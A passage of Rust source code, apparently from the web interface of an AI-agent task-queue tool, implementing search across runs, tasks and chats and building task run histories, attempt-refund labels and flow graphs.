5321 id: String,
5322 field: String,
5324 snippet: Vec<SnippetPart>,
5325 #[serde(skip_serializing_if = "Option::is_none")]
5329 run: Option<RunSummary>,
5330}
5331
5332#[derive(Debug, Serialize)]
5333struct SearchView {
5334 scope: String,
5335 q: String,
5336 hits: Vec<SearchHit>,
5338 total: usize,
5340 truncated: bool,
5341 unreadable: usize,
5344}
5345
5346fn text_leaves<'a>(
5349 value: &'a serde_json::Value,
5350 field: &'a str,
5351 out: &mut Vec<(&'a str, &'a str)>,
5352) {
5353 match value {
5354 serde_json::Value::String(s) => out.push((field, s)),
5355 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5356 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5357 _ => {}
5358 }
5359}
5360
5361fn fold_char(c: char) -> char {
5364 c.to_lowercase().next().unwrap_or(c)
5365}
5366
5367fn search_terms(q: &str) -> Vec<String> {
5369 let mut terms: Vec<String> = Vec::new();
5370 for t in q.split_whitespace() {
5371 let t = t.to_lowercase();
5372 if !terms.contains(&t) {
5373 terms.push(t);
5374 }
5375 }
5376 terms
5377}
5378
5379fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5382 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5383 let mut first: Option<usize> = None;
5384 for term in terms {
5385 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5386 first = Some(first.map_or(at, |f| f.min(at)));
5387 }
5388 let (field, text) = leaves[first?];
5390 Some(SearchHit {
5391 id: String::new(),
5392 field: field.to_owned(),
5393 snippet: snippet_of(text, terms),
5394 run: None,
5395 })
5396}
5397
5398fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5401 let chars: Vec<char> = text.chars().collect();
5402 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5403 let needles: Vec<Vec<char>> = terms
5404 .iter()
5405 .map(|t| t.chars().map(fold_char).collect())
5406 .collect();
5407 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5408 let mut best: Option<(usize, usize)> = None;
5409 for n in needles.iter().filter(|n| !n.is_empty()) {
5410 if n.len() > chars.len() || to == 0 {
5414 continue;
5415 }
5416 let last = (to - 1).min(chars.len() - n.len());
5417 if from > last {
5418 continue;
5419 }
5420 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5421 && best.is_none_or(|(b, _)| i < b)
5422 {
5423 best = Some((i, i + n.len()));
5424 }
5425 }
5426 best
5427 };
5428 let Some((start, _)) = find(0, chars.len()) else {
5429 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5431 return vec![SnippetPart {
5432 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5433 hit: false,
5434 }];
5435 };
5436 let lo = start.saturating_sub(SNIPPET_BEFORE);
5437 let hi = (start + SNIPPET_AFTER).min(chars.len());
5438 let mut parts: Vec<SnippetPart> = Vec::new();
5439 let mut push = |s: &[char], hit: bool| {
5440 if s.is_empty() {
5441 return;
5442 }
5443 let text: String = s.iter().collect();
5444 match parts.last_mut() {
5445 Some(p) if p.hit == hit => p.text.push_str(&text),
5446 _ => parts.push(SnippetPart { text, hit }),
5447 }
5448 };
5449 if lo > 0 {
5450 push(&['\u{2026}'], false);
5451 }
5452 let mut at = lo;
5453 while at < hi {
5454 match find(at, hi) {
5455 Some((s, e)) => {
5456 push(&chars[at..s], false);
5457 let shown = e.min(hi);
5459 push(&chars[s..shown], true);
5460 at = shown;
5461 }
5462 None => {
5463 push(&chars[at..hi], false);
5464 at = hi;
5465 }
5466 }
5467 }
5468 if hi < chars.len() {
5469 push(&['\u{2026}'], false);
5470 }
5471 let mut prev_space = false;
5474 for p in &mut parts {
5475 let mut out = String::with_capacity(p.text.len());
5476 for c in p.text.chars() {
5477 if c.is_whitespace() {
5478 if !prev_space {
5479 out.push(' ');
5480 }
5481 prev_space = true;
5482 } else {
5483 out.push(c);
5484 prev_space = false;
5485 }
5486 }
5487 p.text = out;
5488 }
5489 parts.retain(|p| !p.text.is_empty());
5490 parts
5491}
5492
5493fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5495where
5496 I: IntoIterator<Item = (String, serde_json::Value)>,
5497{
5498 for (id, doc) in docs {
5499 let mut leaves = Vec::new();
5500 leaves.push(("id", id.as_str()));
5503 text_leaves(&doc, "", &mut leaves);
5504 if let Some(mut hit) = search_document(terms, &leaves) {
5505 view.total += 1;
5506 if view.hits.len() < SEARCH_MAX_HITS {
5507 hit.id = id;
5508 view.hits.push(hit);
5509 }
5510 }
5511 }
5512 view.truncated = view.total > view.hits.len();
5513}
5514
5515fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5521 let opener = talk
5522 .title
5523 .as_ref()
5524 .filter(|t| !t.text.is_empty())
5525 .map(|t| t.text.as_str())
5526 .or_else(|| {
5527 talk.turns
5528 .iter()
5529 .find(|t| t.who == talk::Who::Operator)
5530 .map(|t| t.body.as_str())
5531 })
5532 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5533 .unwrap_or("");
5534 let title: String = if opener.chars().count() > 96 {
5535 opener.chars().take(95).chain(['\u{2026}']).collect()
5536 } else {
5537 opener.to_owned()
5538 };
5539 let turns: Vec<serde_json::Value> = talk
5540 .turns
5541 .iter()
5542 .map(|t| {
5543 let who = match t.who {
5544 crate::talk::Who::Operator => "operator",
5545 crate::talk::Who::Agent => "agent",
5546 };
5547 serde_json::json!({ who: t.body })
5548 })
5549 .collect();
5550 serde_json::json!({ "title": title, "turns": turns })
5551}
5552
5553async fn search_get(
5560 State(ui): State<Arc<Ui>>,
5561 Query(q): Query<SearchQuery>,
5562) -> ApiResult<Json<SearchView>> {
5563 let query = q.q.trim().to_owned();
5564 if query.is_empty() {
5565 return Err(ApiError::bad_request("q must not be empty"));
5566 }
5567 if query.chars().count() > SEARCH_MAX_QUERY {
5568 return Err(ApiError::bad_request(format!(
5569 "q is longer than {SEARCH_MAX_QUERY} characters"
5570 )));
5571 }
5572 let terms = search_terms(&query);
5573 if terms.len() > SEARCH_MAX_TERMS {
5574 return Err(ApiError::bad_request(format!(
5575 "q has more than {SEARCH_MAX_TERMS} terms"
5576 )));
5577 }
5578 let scope = q.scope;
5579 if scope != "runs" && scope != "tasks" && scope != "chats" {
5580 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5581 }
5582 blocking(move || {
5583 let mut view = SearchView {
5584 scope: scope.clone(),
5585 q: query,
5586 hits: Vec::new(),
5587 total: 0,
5588 truncated: false,
5589 unreadable: 0,
5590 };
5591 if scope == "runs" {
5592 let mut unreadable = 0;
5593 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5597 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5598 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5599 Some(v) => Some((id, v)),
5600 None => {
5601 unreadable += 1;
5602 None
5603 }
5604 }
5605 });
5606 search_docs(&terms, docs, &mut view);
5607 view.unreadable = unreadable;
5608 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5611 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5612 for hit in &mut view.hits {
5613 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5614 hit.run = summarize(
5615 [state],
5616 &open_runs,
5617 &claimed,
5618 &superseded,
5619 |p| probe.borrow_mut().status(p),
5620 |p| probe.borrow_mut().started_at(p),
5621 )
5622 .pop();
5623 }
5624 }
5625 } else if scope == "chats" {
5626 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5627 view.unreadable = unreadable;
5628 search_docs(
5629 &terms,
5630 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5631 &mut view,
5632 );
5633 } else {
5634 let docs = ui.queue.list().into_iter().filter_map(|t| {
5635 let mut v = serde_json::to_value(&t).ok()?;
5636 if let Some(o) = v.as_object_mut() {
5639 o.insert("filed_by".to_owned(), t.source.label().into());
5640 }
5641 Some((t.id, v))
5642 });
5643 search_docs(&terms, docs, &mut view);
5644 }
5645 Ok(Json(view))
5646 })
5647 .await
5648}
5649
5650#[derive(Debug, Serialize)]
5652struct TaskRunView {
5653 n: usize,
5655 id: String,
5656 short: String,
5657 kind: &'static str,
5659 status: Option<&'static str>,
5661 readable: bool,
5663 provisional: bool,
5665 description: String,
5667 outcome: String,
5669 created_at: Option<Timestamp>,
5670 pr: Option<String>,
5671 exit: RunExit,
5673 attempt: AttemptCost,
5675 exit_label: String,
5678 later_pass: Option<usize>,
5681 pass_n: usize,
5685 passes_of_run: usize,
5686 pass: Option<PassView>,
5689 branch: Option<String>,
5691 badge: Option<String>,
5694}
5695
5696#[derive(Debug, Clone, PartialEq, Serialize)]
5698struct PassView {
5699 index: usize,
5700 resumed: bool,
5701 started_at: Timestamp,
5702 ended_at: Option<Timestamp>,
5703 end: &'static str,
5705 cause: Option<crate::run::ParkCause>,
5706 label: String,
5708 cost: Option<crate::queue::PassCost>,
5711}
5712
5713impl PassView {
5714 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5715 use crate::run::PassEnd;
5716 let (end, cause, label) = match &p.end {
5717 None => ("open", None, "still open".to_owned()),
5718 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5719 Some(PassEnd::Unrecorded) => (
5720 "unrecorded",
5721 None,
5722 "stopped without recording why (a crash, a kill or a restart; not known)"
5723 .to_owned(),
5724 ),
5725 };
5726 Self {
5727 index: p.index,
5728 resumed: p.resumed,
5729 started_at: p.started_at,
5730 ended_at: p.ended_at,
5731 end,
5732 cause,
5733 label,
5734 cost: settled.map(|t| t.cost),
5735 }
5736 }
5737}
5738
5739#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5741#[serde(rename_all = "snake_case")]
5742enum RunExit {
5743 Unreadable,
5744 Interrupted,
5746 Parked,
5747 QuotaStall,
5748 ResumedQuotaStall,
5752 Merged,
5753 Ready,
5754 Superseded,
5755 AlreadyInBase,
5758 Stalled,
5760 HeldWithPr,
5762 NoopHeld,
5763 Spent,
5765 InProgress,
5766}
5767
5768#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5769#[serde(rename_all = "snake_case")]
5770enum AttemptCost {
5771 Spent,
5772 Refunded,
5773 None,
5774 Unknown,
5776}
5777
5778impl RunExit {
5779 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5780 let Some(s) = s else {
5781 return Self::Unreadable;
5782 };
5783 let status = s.status;
5784 if resumed_later {
5785 Self::Interrupted
5786 } else if s.parked {
5787 Self::Parked
5788 } else if !status.done() {
5789 Self::InProgress
5790 } else if matches!(status, RunStatus::Merged) {
5791 Self::Merged
5792 } else if matches!(status, RunStatus::Ready) {
5793 Self::Ready
5794 } else if matches!(status, RunStatus::Superseded) {
5795 Self::Superseded
5796 } else if matches!(status, RunStatus::AlreadyInBase) {
5797 Self::AlreadyInBase
5798 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5799 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5800 {
5801 if resumed {
5802 Self::ResumedQuotaStall
5803 } else {
5804 Self::QuotaStall
5805 }
5806 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5807 Self::HeldWithPr
5808 } else if matches!(status, RunStatus::VerifiedNoop) {
5809 Self::NoopHeld
5810 } else if matches!(status, RunStatus::Stalled) {
5811 Self::Stalled
5812 } else {
5813 Self::Spent
5814 }
5815 }
5816
5817 fn cost(self) -> AttemptCost {
5818 match self {
5819 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5820 Self::Merged
5821 | Self::Ready
5822 | Self::Stalled
5823 | Self::HeldWithPr
5824 | Self::NoopHeld
5825 | Self::Spent => AttemptCost::Spent,
5826 Self::InProgress => AttemptCost::None,
5827 Self::AlreadyInBase => AttemptCost::Refunded,
5828 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5829 AttemptCost::Unknown
5830 }
5831 }
5832 }
5833
5834 fn edge_label(self, status: Option<&str>) -> String {
5836 match self {
5837 Self::Unreadable => "record unreadable".to_owned(),
5838 Self::Interrupted => "interrupted before the run finished".to_owned(),
5839 Self::Parked => "parked, attempt refunded".to_owned(),
5840 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5841 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5842 Self::Merged => "merged".to_owned(),
5843 Self::Ready => "ready, not merged".to_owned(),
5844 Self::Superseded => "superseded by a later attempt".to_owned(),
5845 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5846 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5847 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5848 Self::NoopHeld => "verified no-op".to_owned(),
5849 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5850 Self::InProgress => "in progress".to_owned(),
5851 }
5852 }
5853
5854 fn explains(self, end: TaskStatus) -> bool {
5857 match self {
5858 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5859 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5860 Self::Unreadable | Self::Superseded | Self::Ready => true,
5861 _ => end != TaskStatus::Done,
5862 }
5863 }
5864}
5865
5866#[derive(Debug, Serialize)]
5868struct TaskDetailView {
5869 #[serde(flatten)]
5870 task: TaskView,
5871 max_attempts: usize,
5874 history: Vec<TaskRunView>,
5875 passes_total: usize,
5878 runs_distinct: usize,
5880 flow: FlowView,
5881 followup_origin: Option<FollowUpOrigin>,
5883 runs_unreadable: usize,
5885 attempts_note: &'static str,
5887}
5888
5889const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5890and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5891on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5892the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5893
5894fn review_branch_of(instruction: &str) -> Option<&str> {
5897 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5898 rest.split('`').next().filter(|b| !b.is_empty())
5899}
5900
5901#[derive(Default)]
5903struct RunSlot<'a> {
5904 n: usize,
5906 resumed: bool,
5908 resumed_later: Option<usize>,
5910 prior: Option<(&'a str, RunStatus)>,
5912 last: bool,
5913 pass: Option<&'a crate::run::RunPass>,
5915 settled: Option<&'a crate::queue::TaskPass>,
5917 pass_n: usize,
5919 passes_of_run: usize,
5920}
5921
5922fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5925 let RunSlot {
5926 n,
5927 resumed,
5928 resumed_later,
5929 prior,
5930 last,
5931 pass,
5932 settled,
5933 pass_n,
5934 passes_of_run,
5935 } = at;
5936 let short = run::short_of(id).to_owned();
5937 let Some(s) = state else {
5938 return TaskRunView {
5939 n,
5940 id: id.to_owned(),
5941 short,
5942 kind: "unknown",
5943 status: None,
5944 readable: false,
5945 provisional: false,
5946 description:
5947 "This run's record could not be read by this build (written by a different \
5948 magi, or removed), so what kind of attempt it was is unknown."
5949 .to_owned(),
5950 outcome: String::new(),
5951 created_at: None,
5952 pr: None,
5953 exit: RunExit::Unreadable,
5954 attempt: AttemptCost::Unknown,
5955 exit_label: RunExit::Unreadable.edge_label(None),
5956 later_pass: resumed_later,
5957 pass_n,
5958 passes_of_run,
5959 pass: None,
5960 branch: None,
5961 badge: None,
5962 };
5963 };
5964 let branch = review_branch_of(&s.instruction);
5965 let kind = if resumed {
5966 "resume"
5967 } else if branch.is_some() {
5968 "review"
5969 } else if task.solo || s.candidates.len() == 1 {
5970 "solo"
5971 } else {
5972 "competition"
5973 };
5974 let mut description = match kind {
5975 "resume" => {
5976 format!("Resumed run {short}: the same run carried on instead of competing again.")
5977 }
5978 "review" => format!(
5979 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5980 branch.unwrap_or_default()
5981 ),
5982 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5983 _ => format!(
5984 "Competition: {} candidates judged blind.",
5985 s.candidates.len().max(1)
5986 ),
5987 };
5988 if !resumed && let Some((p, st)) = prior {
5989 description.push_str(&format!(
5990 " A retry: run {p} before it ended {}.",
5991 st.display_label()
5992 ));
5993 }
5994
5995 let status = s.status;
5996 let provisional = matches!(status, RunStatus::Stalled)
5997 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5998 let head = if resumed_later.is_some() {
5999 String::new()
6000 } else {
6001 match status {
6002 RunStatus::Merged => "Merged.".to_owned(),
6003 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6004 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6005 RunStatus::AlreadyInBase => {
6006 "Already in the base: this change landed under other commits, nothing was left to land."
6007 .to_owned()
6008 }
6009 RunStatus::Stalled => {
6010 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6011 .to_owned()
6012 }
6013 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6014 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6015 RunStatus::VerifiedNoop => {
6016 "Verified no-op: the candidates found nothing to change.".to_owned()
6017 }
6018 other if other.done() => format!("Ended {}.", other.display_label()),
6019 other => format!("In progress ({}).", other.display_label()),
6020 }
6021 };
6022 let view = pass.map(|p| PassView::of(p, settled));
6023 let recorded_end = view
6024 .as_ref()
6025 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6026 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6027 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6028 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6029 None => "whether its attempt was handed back was not recorded",
6030 };
6031 let pass_note = if passes_of_run > 1 {
6032 format!(
6033 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6034 )
6035 } else {
6036 String::new()
6037 };
6038 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6039 let cause = match v.end {
6041 "parked" => format!("It was stopped on purpose: {}.", v.label),
6042 _ => format!("It {}.", v.label),
6043 };
6044 format!(
6045 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6046 capitalise(cost_words)
6047 )
6048 } else if let Some(k) = resumed_later {
6049 let cause = if s.quota.is_empty() {
6056 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6057 } else {
6058 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6059 };
6060 format!(
6061 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6062 )
6063 } else if s.parked {
6064 match recorded_end.and_then(|v| v.cause.as_ref()) {
6065 Some(cause) => format!(
6066 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6067 cause.label(),
6068 cost_words
6069 ),
6070 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6071 .to_owned(),
6072 }
6073 } else if !status.done()
6074 || matches!(
6075 status,
6076 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6077 )
6078 {
6079 String::new()
6080 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6081 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6082 {
6083 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6084 .to_owned()
6085 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6086 " It left a pull request open, so the task was held for a person rather than retried."
6087 .to_owned()
6088 } else if matches!(status, RunStatus::VerifiedNoop) {
6089 " Held for a person to check the claim.".to_owned()
6090 } else if last {
6091 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6092 } else {
6093 " It spent an attempt, and the task moved on to the next run.".to_owned()
6094 };
6095 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6096 let mut attempt = exit.cost();
6097 let mut exit_label = None;
6098 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6099 let spent = match v.cost {
6100 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6101 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6102 None if resumed_later.is_some() => ", refund not recorded",
6103 None => ", attempt refunded",
6104 };
6105 attempt = match v.cost {
6106 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6107 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6108 None if resumed_later.is_some() => AttemptCost::Unknown,
6109 None => attempt,
6110 };
6111 if v.end == "parked" {
6112 exit = RunExit::Parked;
6113 exit_label = Some(match v.cause.as_ref() {
6114 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6115 format!("parked for {}{spent}", c.label())
6116 }
6117 Some(c) => format!("parked ({}){spent}", c.label()),
6118 None => format!("parked{spent}"),
6119 });
6120 } else {
6121 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6122 }
6123 }
6124 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6125 TaskRunView {
6126 n,
6127 id: id.to_owned(),
6128 short,
6129 kind,
6130 status: Some(status.as_str()),
6131 readable: true,
6132 provisional,
6133 description,
6134 outcome: format!("{head}{why}"),
6135 created_at: Some(s.created_at),
6136 pr: s.pr.as_ref().map(|p| p.url.clone()),
6137 exit,
6138 attempt,
6139 exit_label,
6140 later_pass: resumed_later,
6141 pass_n,
6142 passes_of_run,
6143 pass: view,
6144 branch: branch.map(str::to_owned),
6145 badge: None,
6146 }
6147}
6148
6149fn capitalise(s: &str) -> String {
6150 let mut c = s.chars();
6151 c.next().map_or_else(String::new, |f| {
6152 f.to_uppercase().collect::<String>() + c.as_str()
6153 })
6154}
6155
6156#[derive(Debug, Serialize, PartialEq)]
6158struct FlowNode {
6159 key: String,
6161 kind: &'static str,
6163 label: String,
6164 status: Option<&'static str>,
6167 status_of: &'static str,
6170 note: Option<&'static str>,
6172 run_kind: Option<&'static str>,
6173 detail: Option<String>,
6174 decided: bool,
6176 readable: bool,
6177 href: Option<String>,
6178 badge: Option<String>,
6180 started_at: Option<Timestamp>,
6182 time_expected: bool,
6184}
6185
6186#[derive(Debug, Serialize, PartialEq)]
6187struct FlowEdge {
6188 from: String,
6189 to: String,
6190 label: String,
6191 attempt: AttemptCost,
6192}
6193
6194#[derive(Debug, Serialize, PartialEq)]
6195struct FlowView {
6196 nodes: Vec<FlowNode>,
6197 edges: Vec<FlowEdge>,
6198 attempts: usize,
6200 max_attempts: usize,
6201 passes: usize,
6204 runs: usize,
6205}
6206
6207fn task_flow(
6216 task: &Task,
6217 history: &[TaskRunView],
6218 max_attempts: usize,
6219 origin: Option<&FollowUpOrigin>,
6220) -> FlowView {
6221 let max_attempts = task.effective_attempt_limit(max_attempts);
6222 let node = |key: &str, kind, label: String| FlowNode {
6223 key: key.to_owned(),
6224 kind,
6225 label,
6226 status: None,
6227 status_of: "run",
6228 note: None,
6229 run_kind: None,
6230 detail: None,
6231 decided: false,
6232 readable: true,
6233 href: None,
6234 badge: None,
6235 started_at: None,
6236 time_expected: matches!(kind, "start" | "run" | "end"),
6237 };
6238 let mut nodes = Vec::new();
6239 let mut edges: Vec<FlowEdge> = Vec::new();
6240 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6242 let mut n = node(
6243 "chat",
6244 "chat",
6245 format!("Chat {}", crate::queue::short(&link.id)),
6246 );
6247 n.href = Some(link.href);
6248 nodes.push(n);
6249 edges.push(FlowEdge {
6250 from: "chat".to_owned(),
6251 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6252 label: "queued from chat".to_owned(),
6253 attempt: AttemptCost::None,
6254 });
6255 }
6256 if let Some(o) = origin {
6257 let mut n = match &o.parent {
6258 Some(p) => {
6259 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6260 n.status = Some(p.status);
6261 n.status_of = "task";
6262 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6263 n.href = Some(p.href.clone());
6264 n
6265 }
6266 None => {
6267 let mut n = node(
6268 "origin",
6269 "followup",
6270 format!("Follow-up of run {}", o.run.short),
6271 );
6272 n.detail = Some("merged run".to_owned());
6273 n.status = o.run.status;
6274 n.href = o.run.href.clone();
6275 if o.run.href.is_none() {
6276 n.readable = false;
6277 n.note = Some("unreadable");
6278 }
6279 n
6280 }
6281 };
6282 n.decided = true;
6283 let from = n.key.clone();
6284 nodes.push(n);
6285 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6286 let more = o.findings.len().saturating_sub(shown.len());
6287 let label = match (shown.is_empty(), more) {
6288 (true, _) => "open findings".to_owned(),
6289 (false, 0) => format!("open findings {}", shown.join(", ")),
6290 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6291 };
6292 edges.push(FlowEdge {
6293 from,
6294 to: "start".to_owned(),
6295 label,
6296 attempt: AttemptCost::None,
6297 });
6298 }
6299 let mut start = node("start", "start", "Task queued".to_owned());
6300 start.started_at = Some(task.created_at);
6301 nodes.push(start);
6302 let mut prev = "start".to_owned();
6303 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6304 for (i, h) in history.iter().enumerate() {
6305 let key = format!("run-{}", h.n);
6306 let mut n = node(&key, "run", format!("Run {}", h.short));
6307 n.started_at = h
6310 .readable
6311 .then(|| {
6312 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6313 h.created_at
6314 } else {
6315 None
6316 })
6317 })
6318 .flatten();
6319 n.run_kind = Some(h.kind);
6320 n.readable = h.readable;
6321 n.href = Some(format!("#/runs/{}", h.id));
6322 n.decided = h.readable && !h.provisional;
6323 n.detail = h
6324 .branch
6325 .as_ref()
6326 .map(|b| format!("review-only run of branch {b}"));
6327 match h.exit {
6328 RunExit::Unreadable => n.note = Some("unreadable"),
6329 RunExit::Interrupted => n.note = Some("interrupted"),
6330 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6333 _ => {
6334 n.status = h.status;
6335 n.badge = h.badge.clone();
6336 if h.provisional {
6337 n.note = Some("no verdict");
6338 }
6339 }
6340 }
6341 let into = match h.kind {
6342 "review" => Some(format!(
6343 "review-only run of branch {}",
6344 h.branch.as_deref().unwrap_or("?")
6345 )),
6346 "resume" => Some("resume the same run".to_owned()),
6347 _ if i > 0 => Some("retry".to_owned()),
6348 _ => None,
6349 };
6350 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6351 let label = match (prev_exit, into) {
6352 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6353 (Some((_, l, _)), None) => l,
6354 (None, Some(i)) => i,
6355 (None, None) => "claimed".to_owned(),
6356 };
6357 edges.push(FlowEdge {
6358 from: prev.clone(),
6359 to: key.clone(),
6360 label,
6361 attempt,
6362 });
6363 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6364 prev = key;
6365 nodes.push(n);
6366 }
6367 let mut end = node("end", "end", task.status.as_str().to_owned());
6368 end.status = Some(task.status.as_str());
6369 end.status_of = "task";
6370 if task.status == TaskStatus::Held {
6373 end.started_at = task.held_at;
6374 }
6375 nodes.push(end);
6376 let (label, attempt) = match prev_exit {
6377 None => (
6378 format!("no run yet \u{2192} {}", task.status.as_str()),
6379 AttemptCost::None,
6380 ),
6381 Some((e, l, cost)) if e.explains(task.status) => {
6382 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6383 }
6384 Some((_, _, cost)) => (
6385 format!("closed by hand: task is {}", task.status.as_str()),
6386 cost,
6387 ),
6388 };
6389 edges.push(FlowEdge {
6390 from: prev,
6391 to: "end".to_owned(),
6392 label,
6393 attempt,
6394 });
6395 FlowView {
6396 nodes,
6397 edges,
6398 attempts: task.attempts,
6399 max_attempts,
6400 passes: history.len(),
6401 runs: distinct_runs(&task.runs),
6402 }
6403}
6404
6405fn distinct_runs(runs: &[String]) -> usize {
6407 let mut seen: Vec<&str> = Vec::new();
6408 for r in runs {
6409 if !seen.contains(&r.as_str()) {
6410 seen.push(r);
6411 }
6412 }
6413 seen.len()
6414}
6415
6416fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6418 let mut slots = Vec::new();
6419 let mut seen = Vec::new();
6420 for run_id in &task.runs {
6421 if seen.contains(&run_id) {
6422 continue;
6423 }
6424 seen.push(run_id);
6425 let state = read(run_id);
6426 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6427 s.passes
6428 .iter()
6429 .filter(|p| {
6430 p.task_entry
6431 || task
6432 .passes
6433 .iter()
6434 .any(|t| t.run == *run_id && t.pass_index == p.index)
6435 })
6436 .cloned()
6437 .collect()
6438 });
6439 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6440 let total = legacy_count.max(mine.len());
6441 let offset = total - mine.len();
6442 for k in 0..total {
6443 let position = task
6446 .runs
6447 .iter()
6448 .enumerate()
6449 .filter(|(_, r)| *r == run_id)
6450 .nth(k.min(legacy_count - 1))
6451 .unwrap()
6452 .0;
6453 slots.push((
6454 run_id,
6455 state.clone(),
6456 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6457 position,
6458 ));
6459 }
6460 }
6461 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6462 slots.sort_by_key(|(_, state, pass, _)| {
6463 pass.as_ref()
6464 .map(|p| p.started_at)
6465 .or_else(|| state.as_ref().map(|s| s.created_at))
6466 .map_or((true, task.created_at), |at| (false, at))
6467 });
6468 } else {
